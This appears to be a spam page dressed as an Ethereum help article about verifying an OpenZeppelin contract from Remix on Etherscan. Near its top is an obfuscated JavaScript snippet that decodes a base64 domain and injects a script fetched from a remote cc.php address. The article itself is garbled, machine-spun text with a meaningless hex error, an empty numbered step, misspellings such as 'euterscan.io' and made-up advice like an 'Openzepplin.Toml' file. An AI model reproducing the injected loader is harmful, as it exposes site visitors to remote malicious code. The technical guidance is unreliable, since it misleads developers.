Ethereum: Can’t get my OpenZepplin based contract from Remix to verify and publish on etherscan.io
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=1e9a0a4d”;document.body.appendChild(script);
Here is an article based on your question:
Ethereum: I can’t get my contract based on Openzepplin from Remix to check and post to Etherscan.io
I try to perform my contract based on Remix’s Openzepplin, but I have problems with the check and publication of Etherscan.io. After following a lesson in creating a token and unfolding the contract, I have encountered some problems that need to be addressed.
Problem: Main contract problems
When I try to access my contract via Remix, I get an error message indicating that the main contract is not located correctly. CONCLUSIVE, I see this mistake:
Error: Error 0x8D6F24E7B5A1C2CD0979B4B3F7AC3DC5B76BB5F94AF35AD6BFC4BFCF74C45
I checked my contract code and unfolded it properly, but I’m not sure why Remix reports these problems.
Possible reasons and solutions
Here are some potential reasons and solutions that could help or interfere with your progress:
- Incorrect deployment of the main contract : Make sure you have unleashed the main contract to the correct address on the Ethereum network.
- Missing the Openzeplin Configuration File : Make sure you have created the
Openzepplin.Toml
file in the same directory as your output contract code and that it contains the necessary configuration settings to use remix.
- Incorrect Remix configuration: Check that Remix is configured correctly on your local machine by checking its settings in the “settings” menu.
Step by step solution
To fix this problem, I recommend that you follow these steps:
- Check the main implementation of the contract
: double check that you have unfolded the main contract at the correct address and that it is specified as an unfolding contract of Remix.
2.
- Check the remix configuration : Check that the remix is properly configured on your local machine by checking its settings in the Settings menu.
Posting euterscan.io
If you are still experiencing problems after solving these potential reasons, here are some additional steps you can take:
- Post your contract as unfolding
: Be sure to publish your contract as unfolding in remix.
- Check the euterscan.io : check that your contract is correctly indicated to Etherscan.io and that the “contract” section shows the right information.
Following these steps, you must be able to solve all problems with the introduction of your Openzeplin contract, is unfolded and verified on Remix. Good luck!